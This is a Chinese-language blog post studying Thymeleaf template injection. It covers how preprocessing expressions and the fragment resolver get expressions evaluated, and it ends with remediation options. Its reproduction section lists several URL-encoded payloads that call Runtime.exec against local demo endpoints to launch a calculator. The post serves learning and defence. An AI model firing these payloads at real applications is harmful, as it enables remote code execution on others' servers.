Java Thymeleaf模板注入学习

Posted

Thymeleaf模板引擎表达式

${...}        // 变量表达式
*{...}        // 选择表达式  
#{...}        // 消息表达式
@{...}        // URL表达式
~{...}        // 片段表达式
__${...}__   // 预处理表达式(关键!)

Thymeleaf预处理表达式__${...}__执行时机深度剖析

路径解析器

image-20260215100857097

根据上面的代码中,参数lang我们可以控制,像这种直接可以拼接,返回结果为路径模式的,模板引擎会使用路径解析器解析

第一种,普通视图名

user/en/welcome
#直接作为路径使用
#检查模板文件是否存在,若不存在,抛出异常

当lang=en时候,这将会作为普通视图名,直接作为路径使用,Thymeleaf会根据配置文件寻找到templates文件夹下面的html文件,由于返回的是user/en/welcome,因此直接定位到templates/user/en/welcome.html

image-20260215100629639

第二种,包含预处理表达式的视图名

user/__${...}__/welcome

假设场景为lang=__${7*7}__,这里需要将花括号编码发送__$%7B7*7%7D__

因为现代 Web 容器(Tomcat 8+,Spring Boot 2.x+)默认启用了严格的 URL 解析,当 URL 包含未经编码的 {} 时,Tomcat 会在请求到达 Spring 之前就拒绝,当url编码传入后端,容器会自动进行解码,不需要在代码中实现出来

image-20260215103108310

我们可以看到并没有运行7*7的结果49作为路径值使用

这是因为在路径解析器的执行流程中,会先直接寻找是否存在该模板文件,由于传入的是lang=__${7*7}__,Thymeleaf在寻找templates/user/${7*7}/welcome.html这个文件,这个在项目中显然不存在,因此直接抛出异常

如果想要先执行解析预处理表达式的结果,那么就需要了解片段解析器的运行机制了

片段解析器

片段解析器(Fragment Expression Parser)是 Thymeleaf 中专门用于解析片段表达式 ~{...} 的组件。它的主要职责是处理包含 :: 操作符的视图名称,将其分割为模板名片段名两部分。

// Thymeleaf 片段表达式的标准语法
"templateName :: fragmentName"

// 片段表达式示例
"welcome :: main"        // 模板: welcome, 片段: main
"user/profile :: info"   // 模板: user/profile, 片段: info
"footer :: copy"         // 模板: footer, 片段: copy

片段解析器触发流程

Controller 返回视图名

检测是否包含 "::"?
├─ 是 → 进入片段解析器
└─ 否 → 进入路径解析器

image-20260215105221638

image-20260215105255681

当section参数为main时候,返回的是welcome :: main,检测到包含 :: 操作符,进入片段解析器,找到welcome.html文件中的main片段返回内容

image-20260215105720240

::预处理表达式同时出现的时候,就会先执行预处理表达式里面的结果

当参数lang值为如下时候

lang=__${7*7}__::.x
编码后
lang=__$%7B7*7%7D__::.x

lang=__$%7B7*7%7D__::x


// 片段解析器执行步骤:
Step 1: 检测到 "::",确认为片段表达式

Step 2: 预处理阶段 - 查找并执行所有 __${...}__ 表达式
    ├─ 发现 __${7*7}__
    ├─ 执行 7*7 = 49
    └─ 替换为 "user/49::.x/welcome"

Step 3: 分割字符串
    ├─ templateName = "user/49"
    └─ fragmentSpec = ".x/welcome"

Step 4: 检查模板是否存在
    ├─ 尝试加载 templates/user/49.html
    └─ 如果不存在 → 抛出 TemplateNotFound

Step 5: 如果模板存在,解析指定的片段

image-20260215105906328

漏洞分析复现

Thymeleaf在3.0.0-3.0.11存在模板注入,且返回的内容不能被RestController、ResponseBody、Http ServletResponse、redirect重定向、forward转发等,因为被上述注解修饰或者重定向后,不会通过模板进行解析;还有一种场景,当返回类型为void时,springboot会默认从URL部分中获取视图名,如果路径可控,同样会存在模板注入的问题

image-20260215120437888

先看前两个接口/path、/fragment,参数分别为lang、section,返回类型为string,最后都通过return返回了视图,且无上述注解及response参数;再看第三个接口/path/{path},返回类型为void,无返回,但是输入信息通过了日志记录。

插入payload,注意插入payload的时候要对关键的字符进行URL编码

  1. /path接口,该接口将输入信息作为了视图名
/path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x


/path?lang=__$%7bT(java.lang.Runtime).getRuntime().exec(%22calc%22)%7d__::.x


/path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::x


/path?lang=__$%7bT(java.lang.Runtime).getRuntime().exec(%22calc%22)%7d__::x

image-20260215113305277

  1. /fragment接口,将接口信息作为视图名,但是存在::,则模板会使用片段解析器
/fragment?section=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x


/fragment?section=__$%7bT(java.lang.Runtime).getRuntime().exec(%22calc%22)%7d__::.x


section=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::x


/fragment?section=__$%7bT(java.lang.Runtime).getRuntime().exec(%22calc%22)%7d__::.x


section=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__


/fragment?section=__$%7bT(java.lang.Runtime).getRuntime().exec(%22calc%22)%7d__

image-20260215113758266

  1. /path/{path}接口,该接口无返回
/path/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x


/path/__$%7bT(java.lang.Runtime).getRuntime().exec(%22calc%22)%7d__::.x


/path/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::x


/path/__$%7bT(java.lang.Runtime).getRuntime().exec(%22calc%22)%7d__::x

image-20260215114000684

漏洞修复

  1. 配置ResponseBodyRestController注解

image-20260215114338494

  1. 通过redirect

根据springboot定义,如果名称以redirect:开头,则不再调用ThymeleafView解析,调用RedirectView去解析controller的返回值

所以配置redirect:主要影响的是获取视图的部分。在ThymeleafViewResolver#createView中,如果视图名以redirect:开头,则会创建RedirectView并返回。所以不会使用ThymeleafView解析。

image-20260215114513281

  1. 方法参数中设置HttpServletResponse 参数

由于controller的参数被设置为HttpServletResponse,Spring认为它已经处理了HTTP Response,因此不会发生视图名称解析。

这种方式只对返回值为空的情况下有效,如果返回值不为空,还是会以模板进行渲染操作

image-20260215115159618